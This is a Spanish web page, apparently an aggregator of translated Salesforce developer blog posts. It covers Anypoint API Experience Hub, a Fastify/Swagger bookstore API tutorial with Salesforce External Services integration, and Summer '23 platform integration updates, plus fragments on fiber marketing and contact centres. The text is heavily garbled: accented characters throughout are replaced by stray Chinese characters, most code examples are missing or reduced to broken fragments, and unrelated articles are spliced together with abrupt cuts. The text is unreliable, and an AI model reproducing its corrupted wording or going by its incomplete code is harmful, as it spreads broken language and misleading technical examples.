Pero gran parte del trabajo manual, el trabajo administrativo, lo realiza la IA. Reduce el proceso que habr铆a tomado semanas o meses manualmente a solo unos pocos d铆as, mientras libera los recursos de su empresa para enfocarse en tareas de mayor nivel, como enfocarse en expandir la fibra al hogar y la oficina.

Ya sea identificando ubicaciones para instalar fibra o alertando a los representantes sobre una oportunidad de venta adicional, la IA generativa y la automatizaci贸n pueden ayudar a potenciar la carrera de su empresa para adquirir clientes de fibra y optimizar esas fuertes inversiones.

Gana ventaja en el auge de la fibra

Descubra las estrategias y tecnolog铆as fundamentales necesarias para iluminar las experiencias de sus suscriptores de fibra.

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Aumente el compromiso de la API con Anypoint API Experience Hub 鈽侊笍

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Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aumente el compromiso de la API con Anypoint API Experience Hub | Blog de desarrolladores de Salesforce

驴Alguna vez trabaj贸 en un proyecto el 90% del camino, solo para descubrir que alguien m谩s ya lo hab铆a hecho? El uso de API es una forma com煤n de integrar varios sistemas y crear aplicaciones modernas. Las API son bloques de construcci贸n componibles que ayudan a brindar servicios digitales m谩s r谩pido. Pero, la realidad es que las API creadas dentro de una organizaci贸n a menudo carecen de visibilidad y documentaci贸n relevante para promover su reutilizaci贸n por parte de otros equipos. 驴Qu茅 sucede si puede tener una 煤nica fuente de verdad que le permita encontrar, ver e interactuar con las API?

Nos complace anunciar el lanzamiento de Anypoint API Experience Hub , la soluci贸n de portal de API personalizable de MuleSoft que ayuda a las organizaciones a administrar mejor su cartera de API y maximizar sus inversiones en API. En esta publicaci贸n de blog, profundizaremos en las funciones y los beneficios de la nueva soluci贸n para desarrolladores y organizaciones.

驴Qu茅 es un portal API?

Un portal de API es una interfaz integral que ayuda a los proveedores de API a exponer y publicitar sus API, educar a las comunidades de desarrolladores sobre ellas, compartir documentaci贸n y proporcionar acceso de autoservicio a los consumidores de API . Algunos portales de API tienen capacidades adicionales, como un servicio de simulaci贸n, que permite a los desarrolladores probar una API, ver respuestas de ejemplo y analizar si la API cumple con sus requisitos, lo que ahorra tiempo general al desarrollador. Los portales de API se pueden crear tanto para desarrolladores internos como externos, lo que brinda oportunidades para aumentar el valor comercial de sus API.

En el backend, un buen portal de API tambi茅n requiere administraci贸n de usuarios y API, seguridad integrada y la capacidad de realizar cambios r谩pidamente en el portal cuando sea necesario. Con todos estos factores en mente, MuleSoft ha creado una soluci贸n que permite a las organizaciones crear portales de API de marca que aumentan la visibilidad de la API y la participaci贸n de los desarrolladores.

Centro de experiencia de la API Anypoint

Hoy, MuleSoft lanz贸 Anypoint API Experience Hub , una nueva soluci贸n que permite a las organizaciones crear portales para desarrolladores para sus productos API. Con API Experience Hub, los gerentes de productos de API pueden crear portales de desarrolladores personalizados en cuesti贸n de minutos utilizando una plantilla lista para usar que los ayuda a producir, publicar e interactuar con las API creadas en cualquier tecnolog铆a o plataforma.

API Experience Hub est谩 impulsado por Salesforce Experience Cloud y es parte de la soluci贸n Universal API Management de MuleSoft , que permite a las organizaciones descubrir, controlar, publicar e interactuar con cualquier API creada en cualquier puerta de enlace o entorno.

Como desarrollador, podr谩 aprovechar los siguientes beneficios con Anypoint API Experience Hub :

  • Cree portales de API en cuesti贸n de minutos
  • Descubra y reutilice las API f谩cilmente
  • Ahorre tiempo en la documentaci贸n
  • Colaborar con otros desarrolladores

Echemos un vistazo a cada beneficio en detalle.

Cree portales de API en cuesti贸n de minutos

Con API Experience Hub, no necesita experiencia en desarrollo web para crear un portal de API, lo que le ahorra semanas de creaci贸n y resoluci贸n de problemas de un sitio web desde cero. Se le guiar谩 a lo largo del proceso sin necesidad de alternar entre la documentaci贸n y las p谩ginas de configuraci贸n del portal. Puede personalizar la marca y los colores de su organizaci贸n con clics, lo que le permite crear su portal API en cuesti贸n de minutos.

驴Quiere hacer cambios en la plantilla base? Puede personalizar a煤n m谩s a trav茅s de Salesforce Experience Builder y arrastrar y soltar varios componentes. Aprovechando las capacidades de Experience Cloud, incluso puede desarrollar y agregar componentes web de iluminaci贸n personalizados para mejorar a煤n m谩s la experiencia del usuario.

Descubra y reutilice las API f谩cilmente

Dado que API Experience Hub es parte de Anypoint Platform, cualquier API dentro de su organizaci贸n que est茅 catalogada en Anypoint Exchange puede estar disponible en su portal de API. Anypoint Exchange es un mercado interno para su organizaci贸n donde puede compartir especificaciones de API, fragmentos, conectores, plantillas de integraci贸n y m谩s. Sin embargo, con API Experience Hub, los desarrolladores pueden seleccionar y compartir las API m谩s consumibles para consumo interno y externo. Adem谩s, Experience Hub viene con capacidades de b煤squeda integradas que le permitir谩n encontrar API espec铆ficas r谩pida y f谩cilmente para su reutilizaci贸n.

Tambi茅n hay una p谩gina de detalles de API incorporada que le brinda informaci贸n sobre cada API y le permite descargar o solicitar acceso a las API.

Ahorre tiempo en la documentaci贸n

Entonces, quiz谩s se pregunte, 驴c贸mo funciona la documentaci贸n? Cuando su especificaci贸n de API est茅 lista para compartirse en el portal de API, 隆no necesitar谩 documentar todo desde cero! Con capacidades de documentaci贸n autogenerativa, Experience Hub completa la documentaci贸n y los ejemplos seg煤n la especificaci贸n de su API. Esto te beneficia de dos maneras enormes:

  1. Ahorre tiempo al crear la documentaci贸n de especificaci贸n de su API. Por supuesto, puede agregar documentaci贸n personalizada o agregar m谩s contexto, pero Experience Hub har谩 la mayor parte del trabajo por usted.
  2. Cuando busque API para incorporar a su proyecto, puede ir al portal de API sabiendo que hay documentaci贸n y ejemplos disponibles.

Por 煤ltimo, Experience Hub viene con una funci贸n Pru茅belo que le permite realizar llamadas simuladas a una API para averiguar c贸mo ser铆a una respuesta de ejemplo.

Colaborar con otros desarrolladores

Como se mencion贸 anteriormente, Anypoint API Experience Hub se basa en Salesforce Experience Cloud , un sistema de publicaci贸n web de clase empresarial. Esto significa que cuando crea un portal de API a trav茅s de Experience Hub, puede aprovechar numerosas capacidades listas para usar para comunidades, foros y soporte. Para obtener m谩s informaci贸n sobre Experience Cloud, consulte esta ruta .

El portal de API personalizado ayuda a mejorar el compromiso con las API al permitir que los desarrolladores internos y externos colaboren de manera efectiva para mejorar una API, todo dentro de una 煤nica plataforma unificada sin silos de conocimiento.

Conclusi贸n

Con Anypoint API Experience Hub, puede crear un portal de API r谩pidamente, descubrir y reutilizar API, ahorrar tiempo en la documentaci贸n y colaborar f谩cilmente con otros desarrolladores. Su organizaci贸n puede poner en funcionamiento un portal API en cuesti贸n de minutos a trav茅s de un proceso de configuraci贸n simple y una plantilla de portal.

Si desea obtener m谩s informaci贸n sobre Anypoint API Experience Hub, consulte nuestro video de presentaci贸n de productos .

Sum茅rjase a煤n m谩s en Anypoint API Experience Hub viendo nuestro seminario web, Cree ecosistemas de API m谩s r谩pido en la plataforma Anypoint de MuleSoft . En este seminario web, aprender谩 c贸mo el nuevo Anypoint API Experience Hub, creado en Salesforce Experience Cloud, le permite crear r谩pidamente experiencias de API atractivas utilizando las API catalogadas en Anypoint Exchange.

Sobre el Autor

Sue Siao es directora t茅cnica de marketing de productos en Salesforce. Es una creadora de contenido que da vida a los productos a trav茅s de demostraciones t茅cnicas. Fuera del horario laboral, es mentora de j贸venes en el 脕rea de la Bah铆a de San Francisco y practica boulder.

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Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Dise帽e una API de Swagger con c贸digo para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integraci贸n de una API externa con su organizaci贸n de Salesforce puede ser una tarea sencilla que no requiere c贸digo si utilizaCredenciales con nombre y Servicios externos . Deber谩 crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuraci贸n. La clave aqu铆 es proporcionar una especificaci贸n OpenAPI para la API. Si la API no tiene una, puede dise帽arla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el c贸digo de c贸digo abierto.

En esta publicaci贸n, le presentaremos la especificaci贸n OpenAPI y Swagger, discutiremos los elementos principales de la especificaci贸n y lo guiaremos a trav茅s del dise帽o e implementaci贸n de una API con c贸digo. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificaci贸n para dise帽ar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, m茅todos de autenticaci贸n y m谩s. Las especificaciones de OpenAPI est谩n escritas en formatos YAML o JSON, ambos f谩ciles de leer y escribir. Esta especificaci贸n es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opci贸n popular para dise帽ar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deber谩 especificarse con OpenAPI. Adem谩s, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicaci贸n, la versi贸n actual de la especificaci贸n OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayor铆a de c贸digo abierto ) para implementar la especificaci贸n OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gr谩fica para comprender y probar las API, y Swagger Codegen, que genera c贸digo SDK de cliente y ap茅ndices de servidor a partir de una especificaci贸n OpenAPI.

La especificaci贸n OpenAPI v2 tambi茅n se conoce como Swagger, pero su nombre cambi贸 cuando se convirti贸 en parte de la iniciativa OpenAPI en 2016.

Estructura b谩sica de la especificaci贸n OpenAPI

La especificaci贸n OpenAPI est谩 organizada en las siguientes secciones clave:

API abierta Define el documento ra铆z y combina la lista de recursos y la declaraci贸n de la API. Requerido
Informaci贸n Proporciona metadatos sobre la API, como el t铆tulo, la descripci贸n, los t茅rminos del servicio, la informaci贸n de contacto, etc. Obligatorio
Servidores Especifica una o m谩s URL base para su API, como producci贸n o preparaci贸n.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un m茅todo HTTP con los detalles de la operaci贸n.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operaci贸n.
Documentos externos Proporciona una descripci贸n y una URL para la documentaci贸n externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, par谩metros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicaci贸n m谩s detallada de cada secci贸n y sus correspondientes definiciones de objeto, consulte la documentaci贸n oficial de la especificaci贸n OpenAPI .

Para fines de demostraci贸n, crearemos una API para administrar una librer铆a. Esta API contar谩 con dos m茅todos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuaci贸n, encontrar谩 una definici贸n b谩sica de esta API, centr谩ndose en el m茅todo para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aqu铆: Informaci贸n , Rutas y Componentes . Como se mencion贸 anteriormente, describiremos esta API a medida que la implementemos mediante c贸digo. Para este prop贸sito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Est谩 dise帽ado para facilitar su uso y ofrecer la m谩xima velocidad sin comprometer la personalizaci贸n. Fastify proporciona una base s贸lida para las aplicaciones web y las API, con funciones como la validaci贸n de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro autom谩tico. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan autom谩ticamente a partir de sus esquemas de ruta o de una definici贸n existente de Swagger/OpenAPI. Adem谩s, utilizar谩 fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicaci贸n.

Nota: La siguiente demostraci贸n requiere la instalaci贸n de Node.js LTS y, a la fecha de esta publicaci贸n de blog, la 煤ltima versi贸n es v18.16.0.

Comencemos a crear la API de su librer铆a instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostraci贸n, se centrar谩 en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos c贸mo integrar la API con una base de datos. Si est谩 interesado en explorar la fuente completa del proyecto, est谩 disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registr茅moslos como complementos.

aplicaci贸n.js

En la configuraci贸n del complemento de Swagger, tiene la opci贸n de pasar toda la definici贸n de especificaci贸n de OpenAPI, o puede aprovechar el enfoque din谩mico que ofrece el complemento. Para esta demostraci贸n, utilizar谩 el enfoque din谩mico. Dado que el 煤nico campo obligatorio es info , definir谩 los metadatos de su API all铆, adem谩s, la secci贸n refResolver se encarga de nombrar las referencias de definici贸n de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojar谩 el sitio de documentaci贸n.

Ahora vamos a crear una carpeta schemas . Aqu铆 es donde definir谩 los esquemas de su API. Para esta demostraci贸n, definir谩 un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajar谩, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificaci贸n OpenAPI, el complemento Swagger agregar谩 autom谩ticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deber谩 registrar los esquemas dentro de Fastify. Luego, especificar谩 los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} 芦>

Analicemos la ruta POST /books :

  • La funci贸n fastify.post define el m茅todo HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga 煤til que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). Tambi茅n incluye varios objetos response para esa ruta, que se asignan a los c贸digos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementaci贸n de la ruta. En este caso, est谩 insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolver谩 un objeto de error. Es importante tener en cuenta que est谩 utilizando los mismos esquemas que defini贸 anteriormente.

Nota: Tambi茅n tiene la opci贸n de excluir ciertas rutas de la documentaci贸n pasando hide: true en el objeto de esquema de esa ruta espec铆fica, como se demuestra en GET / route.

Su API est谩 lista, as铆 que ejec煤tela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentaci贸n y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, aseg煤rese de actualizar el script start en el archivo package.json con lo siguiente.

Adem谩s, aseg煤rese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql est谩 disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver c贸mo se ve implementado, vea mi versi贸n que se ejecuta en Heroku .

Integraci贸n de una API externa con Salesforce

Ahora que tiene una API de acceso p煤blico, integr茅mosla con Salesforce como un servicio externo.

Primero, deber谩 crear una credencial con nombre para esta API. En la interfaz de usuario de configuraci贸n, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticaci贸n personalizado y una entidad de seguridad.

Aseg煤rese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API p煤blica.

A continuaci贸n, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificaci贸n de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificaci贸n de OpenAPI. En su demostraci贸n, ser谩 /api-docs/json .

Despu茅s de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los par谩metros de entrada como los de salida.

Ahora podr谩 invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusi贸n

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinaci贸n para integrar API externas en su organizaci贸n de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir f谩cilmente estas definiciones e invocarlas desde soluciones de c贸digo bajo y pro-c贸digo, los desarrolladores como usted pueden optimizar el proceso de conexi贸n a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si est谩 interesado en obtener m谩s informaci贸n sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuaci贸n, incluidos videos que muestran c贸mo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

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Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

El verano finalmente est谩 aqu铆, y para nosotros los desarrolladores, 隆eso significa un nuevo y emocionante lanzamiento! Exploremos las pr贸ximas caracter铆sticas que trae la versi贸n Summer '23 para los desarrolladores centrados en la integraci贸n de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relaci贸n que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admit铆a un nivel. Esta caracter铆stica est谩 disponible para objetos est谩ndar y personalizados, y est谩 limitada a consultas realizadas a trav茅s de llamadas de consulta REST y SOAP.

Prob茅moslo probando una relaci贸n padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarqu铆a: Cuenta (Nivel 1) 鈫 Contacto (Nivel 2) 鈫 Caso (Nivel 3) 鈫 Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra caracter铆stica 煤til introducida en esta versi贸n es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuraci贸n para crear credenciales a trav茅s de la interfaz de usuario; ahora, se puede hacer program谩ticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

Tambi茅n puede crear credenciales con nombre mediante programaci贸n con la API y Apex. Este es un ejemplo de c贸mo hacerlo con Apex:

Consulte nuestra colecci贸n Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentaci贸n de la clase NamedCredentials Apex para obtener m谩s informaci贸n.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versi贸n, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupaci贸n .

Podr谩 contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo num茅rico
  • count : devuelve el n煤mero de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el n煤mero de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max 鈥 Devuelve el valor m谩ximo de un campo
  • min 鈥 Devuelve el valor m铆nimo de un campo
  • sum : devuelve la suma total de un campo num茅rico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

A continuaci贸n, una consulta de GraphQL utilizando la funci贸n de agregado promedio y la funci贸n de agrupaci贸n.

Tambi茅n puede realizar consultas tradicionales dentro de la misma solicitud:

Si desea probarlo, puede usar el cliente Altair GraphQL o nuestra colecci贸n Postman de desarrolladores de Salesforce .

Adaptador GraphQL de Salesforce Connect

En febrero de 2023, anunciamos la versi贸n piloto de nuestro adaptador GraphQL de Salesforce Connect y ahora nos complace anunciar que estar谩 disponible de forma general en esta versi贸n de verano de 2023.

El nuevo adaptador de Salesforce Connect para GraphQL act煤a como un cliente para integrar datos de fuentes externas que exponen sus capacidades a trav茅s de GraphQL. Lo hace de una manera de copia cero al hacer llamadas en vivo a los puntos finales de la API cuando una acci贸n del usuario o del sistema requiere registros espec铆ficos. Solo los datos necesarios para esa acci贸n en particular se consultan a trav茅s de GraphQL y Salesforce Connect no almacena ni almacena en cach茅 los registros devueltos por el servidor. Adem谩s, este adaptador incluye extensiones especiales para AWS AppSync y brinda acceso sin inconvenientes a Amazon RDS.

Para aprovechar este nuevo adaptador, simplemente cree una nueva fuente de datos externa y seleccione el tipo GraphQL .

Apex publica devoluciones de llamada en eventos de la plataforma

Con el lanzamiento de Summer '23, ahora puede realizar un seguimiento de la publicaci贸n de eventos de la plataforma utilizando Apex Publish Callbacks . Con esta nueva versi贸n, puede obtener el resultado final de una llamada EventBus.publish a trav茅s de una devoluci贸n de llamada de publicaci贸n de Apex que implemente. Esto le da la opci贸n de realizar un seguimiento de los errores o los 茅xitos para recibir el resultado final de la publicaci贸n. En funci贸n de ese resultado, puede decidir qu茅 acci贸n tomar, como intentar volver a publicar eventos fallidos, por ejemplo.

Para realizar un seguimiento de un evento fallido publicado, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishFailureCallback . Si la operaci贸n asincr贸nica falla, se invocar谩 el m茅todo onFailure . El par谩metro result contiene los valores del campo EventUuid para cada evento fallido, pero no incluye los datos del evento en s铆.

Para realizar un seguimiento de las publicaciones de eventos exitosas, escriba una clase de Apex e implemente la interfaz EventBus.EventPublishSuccessCallback . Debido a que la mayor铆a de las llamadas de publicaci贸n suelen tener 茅xito, el procesamiento de publicaciones de eventos exitosas probablemente no sea una preocupaci贸n. Observe siempre los l铆mites de rendimiento y del gobernador de Apex cuando procese este tipo de resultado.

Como pr谩ctica recomendada, siempre cree eventos usando sObjectType.newSObject , ya que esto incluye un EventUuid que puede usar para rastrear el evento. Al crear eventos con este enfoque, recomendamos no publicar el mismo evento m谩s de una vez para evitar duplicaciones EventUuid .

M茅tricas mejoradas para eventos de plataforma

Con esta actualizaci贸n, ahora puede obtener m茅tricas de uso de eventos mejoradas para eventos de plataforma consultando el objeto PlatformEventUsageMetric . Esto le permite agregar datos de uso por nombre de evento y determinar qu茅 evento consume m谩s de sus asignaciones. Adem谩s, puede agrupar el uso por cliente para descubrir cu谩ntos clientes se suscribieron a un evento en particular y c贸mo se distribuye el uso de entrega de eventos entre los clientes. Adem谩s, utilice agregaciones granulares de tiempo de per铆odos diarios, por hora y de 15 minutos para segmentar los datos de uso para obtener informaci贸n m谩s detallada.

Cuando consulta PlatformEventUsageMetric , puede usar estos nuevos campos: EventName , Client , EventType y UsageType .

La siguiente consulta de ejemplo devuelve el uso de eventos por hora para eventos entregados entre el 1 y el 2 de abril en horario UTC. Tambi茅n agrega los resultados en intervalos de una hora seg煤n lo especificado por el campo TimeSegment . Dado que los campos EventName y Client se especifican en la consulta, los resultados se agrupar谩n por evento y cliente.

= 2023-04-01T00:00:00.000Z AND EndDate

Un resultado de muestra de la consulta anterior ser铆a similar al siguiente, incluir谩 datos de uso para todos los eventos, Order_Event__e y AccountChangeEvent .

Para obtener m谩s informaci贸n sobre esta funci贸n, consulte la documentaci贸n .

Acci贸n HTTP en flujo: GET es GA, POST es Beta

HTTP Callout ahora est谩 generalmente disponible para solicitudes GET , lo que le permite traer datos externos a Flow Builder sin ning煤n c贸digo. Usted crea una acci贸n de Llamada HTTP desde dentro de Flow, que puede llamar a cualquier API de servicio basado en la web. Despu茅s de agregar los detalles de la API, Flow Builder genera una acci贸n de llamada reutilizable que puede usar para diferentes flujos y en todo Salesforce.

Para ponerlo en uso, desde el elemento Acciones, seleccione Crear llamada HTTP .

Junto con GA, hemos incluido algunos cambios desde la 煤ltima versi贸n que agilizan el proceso de configuraci贸n.

Ahora puede editar una acci贸n de llamada HTTP de forma declarativa. Las API cambian regularmente, por ejemplo, cuando se agrega un nuevo campo obligatorio a un sistema externo. Anteriormente, para editar la acci贸n de llamada HTTP reutilizable, modific贸 la especificaci贸n de API generada autom谩ticamente, lo que requer铆a conocimientos de JSON. Ahora, puede editar la acci贸n con clics en el men煤 de configuraci贸n de Servicios externos.

Tambi茅n se simplific贸 la configuraci贸n de la estructura de datos de la respuesta de la API. Proporciona una respuesta de API de muestra y Flow infiere los tipos de datos y analiza el JSON para que los datos se puedan utilizar en los flujos. Anteriormente, si necesitaba cambiar los tipos de datos inferidos, editaba el propio JSON. Ahora, selecciona los tipos de datos del campo con clics. Ahora tambi茅n se admiten los tipos de datos de fecha, fecha/hora y booleano.

Como bonificaci贸n adicional, obtiene mensajes de error m谩s intuitivos al crear su acci贸n de llamada HTTP para ayudar a resolver el error y evitar problemas en el tiempo de ejecuci贸n.

Y si no puede OBTENER suficiente con HTTP Callout, ahora puede usar el m茅todo POST (Beta) para enviar datos de Salesforce a un servidor externo en Flow Builder. Por ejemplo, una nueva cuenta en Salesforce activa un flujo que crea una factura en un sistema externo. Seleccione POST (Beta) , ingrese un cuerpo de solicitud JSON de muestra que la API espera al configurar la llamada HTTP, y Flow infiere la estructura de datos externos.

Aprende MOAR

Guau, 隆son bastantes nuevas caracter铆sticas de integraci贸n de plataforma para probar! Conf铆o en que facilitar谩n la vida de muchos desarrolladores. 隆Pero hay m谩s por descubrir! Lo invito a explorar nuestras otras publicaciones de blog para conocer las 煤ltimas actualizaciones de LWC, Mobile, MuleSoft y Tableau.

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas funciones favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

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Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque , @julianduque.co en Bluesky o LinkedIn .

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Contact Centers vs. Call Centers: 驴Cu谩l es la diferencia?

Contact Centers vs. Call Centers: 驴Cu谩l es la diferencia?

Los t茅rminos centro de llamadas y centro de contacto a menudo se usan indistintamente y, aunque ambos son centros de atenci贸n al cliente, no son exactamente lo mismo. Los centros de llamadas se enfocan 煤nicamente en las comunicaciones telef贸nicas, mientras que los centros de contacto modernos brindan soporte a trav茅s de una variedad de canales, que incluyen tel茅fono, correo electr贸nico, chat en vivo, art铆culos de conocimiento de autoservicio y chatbots. Profundicemos en las diferencias entre un centro de contacto y un centro de llamadas, para que pueda decidir el mejor enfoque de servicio al cliente para su negocio.

Los clientes de hoy tienen grandes expectativas para las empresas con las que hacen negocios. Descubrimos que el 94% de los clientes dicen que una experiencia positiva de servicio al cliente los hace m谩s propensos a realizar una compra nuevamente. Sin embargo, solo el 13% de los clientes dicen que pueden resolver sus problemas con poco esfuerzo.

